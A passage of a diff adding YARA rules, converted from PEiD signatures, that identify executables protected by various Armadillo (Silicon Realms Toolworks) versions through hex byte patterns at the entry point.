+        description = "[Armadillo 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8}
+    condition:
+        $a
+}
+
+rule PEiD_00132_Armadillo_4_44a_public_build____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.44a public build -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 51 B9 00 08 00 00 B9 06 00 00 00 F7 D1 0F C8 F7 D1 41 41 41 41 41 41 41 83 C1 04 41 41 41 41 83 C1 03 41 41 41 41 41 41 49 41 FE C1 FE C1 FE C1 83 C1 0D FE C1 FE C1 FE C1 FE C1 FE C1 83 C1 0A 49 52 BA 04 00 00 00 03 CA 41 5A 0F C8 23 C1 59 F7 D8 1B C0 F7 D8 5A 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 53 BB 80 00 00 00 EB 05 BB 04 00 00 00 BB 32 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 E0 00 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 40 5B 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 70 07 7C 03 EB 05 E9 74 FB EB F9 53 BB FF FF 00 00 23 C3 51 B5 2C 80 ED 01 80 ED 20 FE CD FE CD 80 ED 04 FE CD 80 ED 03 FE CD 22 E5 B1 70 80 E9 02 FE C9 FE C9 FE C9 80 E9 06 F6 D0 0F C9 F6 D0 0F C9 FE C9 FE C9 80 E9 10 FE C9 FE C9 80 C1 0C FE C9 FE C9 FE C9 70 07 7C 03 EB 05 C7 74 FB EB F9 FE C9 FE C9 FE C9 FE C9 80 E9 10 80 E9 01 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 F7 D1 0F C8 F7 D1 0F C8 FE C1 80 C1 02 22 C1 59 5B 85 C0 0F 85 94 00 00 00 8B 45 FC 53 BB 00 08 00 00 EB 05 BB 80 00 00 00 BB 72 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 23 C3 5B F7 D8 1B C0 40 5A 8B C8 51 8B 45 FC 52 BA FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00133_Armadillo_5_0_Dll____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.0 Dll -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 20 15 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 D7 23 00 00 59 89 7D FC FF 75 08 E8 EC 53 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 2B C5 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 19 ED FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 7D 22 00 00 59 C3}
+    condition:
+        $a
+}
+rule PEiD_00134_Armadillo_5_00____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75}
+    condition:
+        $a
+}
+
+rule PEiD_00135_Armadillo_5_00____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC FF 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00136_Armadillo_5_00_Dll____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 Dll -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57}
+    condition:
+        $a
+}
+
+rule PEiD_00137_Armadillo_v1_60a_
+{
+    meta:
+        description = "[Armadillo v1.60a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00138_Armadillo_v1_71_
+{
+    meta:
+        description = "[Armadillo v1.71]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00139_Armadillo_v1_72___v1_73_
+{
+    meta:
+        description = "[Armadillo v1.72 - v1.73]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00140_Armadillo_v1_77_
+{
+    meta:
+        description = "[Armadillo v1.77]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00141_Armadillo_v1_80_
+{
+    meta:
+        description = "[Armadillo v1.80]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00142_Armadillo_v1_82_
+{
+    meta:
+        description = "[Armadillo v1.82]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+rule PEiD_00143_Armadillo_v1_83_
+{
+    meta:
+        description = "[Armadillo v1.83]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00144_Armadillo_v1_84_
+{
+    meta:
+        description = "[Armadillo v1.84]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00145_Armadillo_v1_90_
+{
+    meta:
+        description = "[Armadillo v1.90]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00146_Armadillo_v1_90a_
+{
+    meta:
+        description = "[Armadillo v1.90a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00147_Armadillo_v1_90b1_
+{
+    meta:
+        description = "[Armadillo v1.90b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00148_Armadillo_v1_90b2_
+{
+    meta:
+        description = "[Armadillo v1.90b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00149_Armadillo_v1_90b3_
+{
+    meta:
+        description = "[Armadillo v1.90b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00150_Armadillo_v1_90b4_
+{
+    meta:
+        description = "[Armadillo v1.90b4]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00151_Armadillo_v1_90c_
+{
+    meta:
+        description = "[Armadillo v1.90c]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+rule PEiD_00152_Armadillo_v1_9x_
+{
+    meta:
+        description = "[Armadillo v1.9x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_00153_Armadillo_v1_xx___v2_xx_
+{
+    meta:
+        description = "[Armadillo v1.xx - v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+    condition:
+        $a
+}
+
+rule PEiD_00154_Armadillo_v2_00_
+{
+    meta:
+        description = "[Armadillo v2.00]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00155_Armadillo_v2_00b2_2_00b3_
+{
+    meta:
+        description = "[Armadillo v2.00b2-2.00b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00156_Armadillo_v2_01_
+{
+    meta:
+        description = "[Armadillo v2.01]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00157_Armadillo_v2_10b2_
+{
+    meta:
+        description = "[Armadillo v2.10b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00158_Armadillo_v2_20_
+{
+    meta:
+        description = "[Armadillo v2.20]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00159_Armadillo_v2_20b1_
+{
+    meta:
+        description = "[Armadillo v2.20b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00160_Armadillo_v2_50_
+{
+    meta:
+        description = "[Armadillo v2.50]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+    condition:
+        $a
+}
+
+rule PEiD_00161_Armadillo_v2_50b3_
+{
+    meta:
+        description = "[Armadillo v2.50b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+    condition:
+        $a
+}
+
+rule PEiD_00162_Armadillo_v2_51_
+{
+    meta:
+        description = "[Armadillo v2.51]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20}
+    condition:
+        $a
+}
+
+rule PEiD_00163_Armadillo_v2_52_beta2_
+{
+    meta:
+        description = "[Armadillo v2.52 beta2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24}
+    condition:
+        $a
+}
+rule PEiD_00164_Armadillo_v2_52_
+{
+    meta:
+        description = "[Armadillo v2.52]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38}
+    condition:
+        $a
+}
+
+rule PEiD_00165_Armadillo_v2_52_
+{
+    meta:
+        description = "[Armadillo v2.52]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38}
+    condition:
+        $a
+}
+
+rule PEiD_00166_Armadillo_v2_52b2_
+{
+    meta:
+        description = "[Armadillo v2.52b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24}
+    condition:
+        $a
+}
+
+rule PEiD_00167_Armadillo_v2_53_
+{
+    meta:
+        description = "[Armadillo v2.53]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+    condition:
+        $a
+}
+
+rule PEiD_00168_Armadillo_v2_53_
+{
+    meta:
+        description = "[Armadillo v2.53]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+    condition:
+        $a
+}
+
+rule PEiD_00169_Armadillo_v2_53b3_
+{
+    meta:
+        description = "[Armadillo v2.53b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_00170_Armadillo_v2_5x___v2_6x_
+{
+    meta:
+        description = "[Armadillo v2.5x - v2.6x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+    condition:
+        $a
+}
+
+rule PEiD_00171_Armadillo_v2_60_
+{
+    meta:
+        description = "[Armadillo v2.60]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84}
+    condition:
+        $a
+}
+
+rule PEiD_00172_Armadillo_v2_60a_
+{
+    meta:
+        description = "[Armadillo v2.60a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4}
+    condition:
+        $a
+}
+
+rule PEiD_00173_Armadillo_v2_60b1_
+{
+    meta:
+        description = "[Armadillo v2.60b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00174_Armadillo_v2_60b2_
+{
+    meta:
+        description = "[Armadillo v2.60b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C}
+    condition:
+        $a
+}
+rule PEiD_00175_Armadillo_v2_60c_
+{
+    meta:
+        description = "[Armadillo v2.60c]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4}
+    condition:
+        $a
+}
+
+rule PEiD_00176_Armadillo_v2_61_
+{
+    meta:
+        description = "[Armadillo v2.61]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00177_Armadillo_v2_65b1_
+{
+    meta:
+        description = "[Armadillo v2.65b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4}
+    condition:
+        $a
+}
+
+rule PEiD_00178_Armadillo_v2_75a_
+{
+    meta:
+        description = "[Armadillo v2.75a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+    condition:
+        $a
+}
+
+rule PEiD_00179_Armadillo_v2_85_
+{
+    meta:
+        description = "[Armadillo v2.85]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+    condition:
+        $a
+}
+
+rule PEiD_00180_Armadillo_v2_xx__CopyMem_II__
+{
+    meta:
+        description = "[Armadillo v2.xx (CopyMem II)]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82}
+    condition:
+        $a
+}
+
+rule PEiD_00181_Armadillo_v3_00_
+{
+    meta:
+        description = "[Armadillo v3.00]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_00182_Armadillo_v3_00a_
+{
+    meta:
+        description = "[Armadillo v3.00a]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00183_Armadillo_v3_01___v3_50a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v3.01 - v3.50a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD B8 43}
+    condition:
+        $a
+}
+
+rule PEiD_00184_Armadillo_v3_01__v3_05_
+{
+    meta:
+        description = "[Armadillo v3.01, v3.05]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 75 02 EB 15 EB 33 C9 75 18 7A 0C 70 0E EB 0D E8 72 0E 79 F1 FF 15 00 79 09 74 F0 EB 87 DB 7A F0 A0 33 61 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 A0 8B 04 24 EB 03 7A 29 E9 C6 00 90 C3 E8 70 F0 87 D2 71 07 E9 00 40 8B DB 7A 11 EB 08 E9 EB F7 EB C3 E8 7A E9 70 DA 7B D1 71 F3 E9 7B}
+    condition:
+        $a
+}
+
+rule PEiD_00185_Armadillo_v3_10_
+{
+    meta:
+        description = "[Armadillo v3.10]"
+        ep_only = "true"
+    strings:
